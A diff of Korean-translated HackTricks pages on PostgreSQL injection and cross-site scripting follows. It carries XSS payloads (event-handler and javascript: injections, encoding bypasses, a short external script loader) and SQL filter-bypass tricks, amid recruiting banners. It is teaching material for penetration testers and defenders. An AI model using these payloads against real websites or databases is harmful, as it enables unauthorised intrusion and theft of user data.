{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
당신이 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 찾고 있습니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details> </details>

View file

@ -1,8 +1,8 @@
# PostgreSQL injection # PostgreSQL injection
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필요_).
@ -23,15 +23,15 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
*** ***
**이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)**에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.** **이 페이지는 PostgreSQL 데이터베이스에서 발견된 SQL 인젝션을 악용하는 데 도움이 될 수 있는 다양한 트릭을 설명하고,** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **에서 찾을 수 있는 트릭을 보완하는 것을 목표로 합니다.**
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL 모듈 `dblink`**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행할 수 있는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 [이 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요. **PostgreSQL 모듈 `dblink`**는 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행할 수 있는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 방법에 대한 자세한 내용은 [이 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요.
### **dblink 및 대용량 객체를 사용한 데이터 유출 예제** ### **dblink 및 대용량 객체를 사용한 유출 예제**
[**이 예제를 읽어보세요**](dblink-lo\_import-data-exfiltration.md)**. 대용량 객체 내에 데이터를 로드한 다음 `dblink_connect` 함수의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.** [**이 예제를 읽어보세요**](dblink-lo\_import-data-exfiltration.md) **대용량 객체 내에 데이터를 로드한 다음 함수 `dblink_connect`의 사용자 이름 내에서 대용량 객체의 내용을 유출하는 CTF 예제를 확인할 수 있습니다.**
## PostgreSQL Attacks: Read/write, RCE, privesc ## PostgreSQL Attacks: Read/write, RCE, privesc
@ -46,7 +46,7 @@ PostgreSQL에서 호스트를 손상시키고 권한을 상승시키는 방법
### PostgreSQL 문자열 함수 ### PostgreSQL 문자열 함수
문자열을 조작하면 **WAF 또는 기타 제한을 우회하는 데 도움이 될 수 있습니다**.\ 문자열을 조작하면 **WAF 또는 기타 제한을 우회하는 데 도움이 될 수 있습니다**.\
[**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/)**유용한 문자열 함수를 찾을 수 있습니다.** [**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/) **유용한 문자열 함수를 찾을 수 있습니다.**
### Stacked Queries ### Stacked Queries
@ -71,7 +71,7 @@ SELECT database_to_xml(true,true,'');
``` ```
### Strings in Hex ### Strings in Hex
만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 필터를 우회할 수 있습니다:** 만약 **쿼리**를 **문자열 안에** 전달할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하여). **convert\_from을 사용하여 문자열을 헥사로 전달하고 이렇게 필터를 우회할 수 있습니다:**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```sql ```sql
@ -97,15 +97,15 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$; SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$; SELECT $TAG$hacktricks$TAG$;
``` ```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -113,7 +113,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting) # XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
@ -8,7 +8,7 @@
## 방법론 ## 방법론
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다. 1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되고 있는지 확인합니다.
2. **반영/사용되는 맥락**을 찾습니다. 2. **반영/사용되는 맥락**을 찾습니다.
3. **반영된 경우** 3. **반영된 경우**
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다: 1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
@ -18,12 +18,12 @@
3. 보호를 우회할 수 있습니까? 3. 보호를 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. 4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까? 5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
2. **HTML 태그** 내부에서: 2. **HTML 태그 내부**에서:
1. 원시 HTML 맥락으로 나갈 수 있습니까? 1. 원시 HTML 맥락으로 나갈 수 있습니까?
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까? 2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
3. 당신이 갇힌 속성이 JS 실행을 지원합니까? 3. 당신이 갇힌 속성이 JS 실행을 지원합니까?
4. 보호를 우회할 수 있습니까? 4. 보호를 우회할 수 있습니까?
3. **JavaScript 코드** 내부에서: 3. **JavaScript 코드 내부**에서:
1. `<script>` 태그를 이스케이프할 수 있습니까? 1. `<script>` 태그를 이스케이프할 수 있습니까?
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까? 2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
3. 템플릿 리터럴 \`\`에 입력이 있습니까? 3. 템플릿 리터럴 \`\`에 입력이 있습니까?
@ -53,17 +53,17 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
### 원시 HTML ### 원시 HTML
당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\ 당신의 입력이 **원시 HTML** 페이지에 **반영된다면**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
또한, [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오. 또한 [클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)을 염두에 두십시오.
### HTML 태그 속성 내부 ### HTML 태그 속성 내부
당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다: 당신의 입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
1. **속성과 태그에서 이스케이프** (그럼 원시 HTML에 있게 되며) 새로운 HTML 태그를 생성하여 악용합니다: `"><img [...]` 1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **이벤트를 생성**하여 JS 코드를 실행할 수 있습니다: `" autofocus onfocus=alert(1) x="` 2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **이벤트를 생성**하여 JS 코드를 실행할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** 3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), **어떤 속성**에 당신의 값이 반영되고 있는지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`** 4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예: 클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
```html ```html
@ -76,7 +76,7 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
이 경우 귀하의 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 사이에 반영됩니다: 이 경우 귀하의 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 사이에 반영됩니다:
* **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. * **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 귀하의 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
* **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): * **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **탈출**하고, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다 (오류가 발생하면 실행되지 않습니다):
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\';alert(1)//` * `\';alert(1)//`
@ -138,7 +138,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
### **Universal XSS** ### **Universal XSS**
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 **읽는**에도 악용될 수 있습니다.\ 이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이들은 웹 애플리케이션의 클라이언트 악용에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의** **파일**을 읽는 데 악용될 수 있습니다.\
일부 **예시**: 일부 **예시**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,7 +155,7 @@ You can also try to **trigger Javascript functions** directly: `obj.sales.delOrd
## 원시 HTML 내에서 주입하기 ## 원시 HTML 내에서 주입하기
입력이 **HTML 페이지 내에서** 반영되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ 입력이 **HTML 페이지 내에서** 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있는 경우, **첫 번째**로 해야 할 일은 `<`를 사용하여 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **문자**를 **반영**해보고 **HTML 인코딩**되었는지, **삭제**되었는지, 또는 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\ 이 경우에도 **[Client Side Template Injection](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
_**참고: HTML 주석은\*\*\*\***** ****`-->`**** ****또는 \*\*\*\*****`--!>`**로 닫을 수 있습니다._ _**참고: HTML 주석은\*\*\*\***** ****`-->`**** ****또는 \*\*\*\*****`--!>`**로 닫을 수 있습니다._
@ -233,7 +233,7 @@ onerror=alert`1`
### 길이 우회 (작은 XSS) ### 길이 우회 (작은 XSS)
{% hint style="info" %} {% hint style="info" %}
**다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me). **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
{% endhint %} {% endhint %}
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
@ -242,23 +242,23 @@ onerror=alert`1`
<script src=//℡㏛.pw> <script src=//℡㏛.pw>
``` ```
The last one is using 2 unicode characters which expands to 5: telsr\ The last one is using 2 unicode characters which expands to 5: telsr\
More of these characters can be found [여기](https://www.unicode.org/charts/normalization/).\ More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [여기](https://www.compart.com/en/unicode/U+2121). To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking ### Click XSS - Clickjacking
If in order to exploit the vulnerability you need the **사용자가 링크나 양식**을 클릭하도록 해야 한다면 [**Clickjacking을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우). 취약점을 악용하기 위해 **사용자가 미리 채워진 데이터가 있는 링크나 양식을 클릭해야 하는 경우**, [**Clickjacking을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
### Impossible - Dangling Markup ### Impossible - Dangling Markup
If you just think that **JS 코드를 실행하는 속성을 가진 HTML 태그를 만드는 것은 불가능하다**고 생각한다면 [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS** 코드를 실행하지 않고도 **취약점을 악용**할 수 있기 때문입니다. **JS 코드를 실행하기 위한 속성이 있는 HTML 태그를 만드는 것이 불가능하다고 생각한다면**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)을 확인해야 합니다. 왜냐하면 **JS** 코드를 실행하지 않고도 취약점을 **악용**할 수 있기 때문입니다.
## Injecting inside HTML tag ## Injecting inside HTML tag
### Inside the tag/escaping from attribute value ### Inside the tag/escaping from attribute value
If you are in **HTML 태그 내부에 있다면**, 시도해 볼 수 있는 첫 번째 방법은 **태그에서 이스케이프**하여 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\ **HTML 태그 내부에** 있다면, 시도할 수 있는 첫 번째 방법은 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
If you **태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 생성하여 JS 코드를 실행해 보세요. 예를 들어, (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_): 태그에서 **탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어, (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,12 +275,12 @@ If you **태그에서 이스케이프할 수 없다면**, 태그 내부에 새
``` ```
### Within the attribute ### Within the attribute
속성에서 **탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있다면** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다.\ 속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** 또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회** **HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다 (페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>` HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**: **모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
```javascript ```javascript
@ -359,7 +359,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
또한 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다. 또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
@ -394,7 +394,7 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
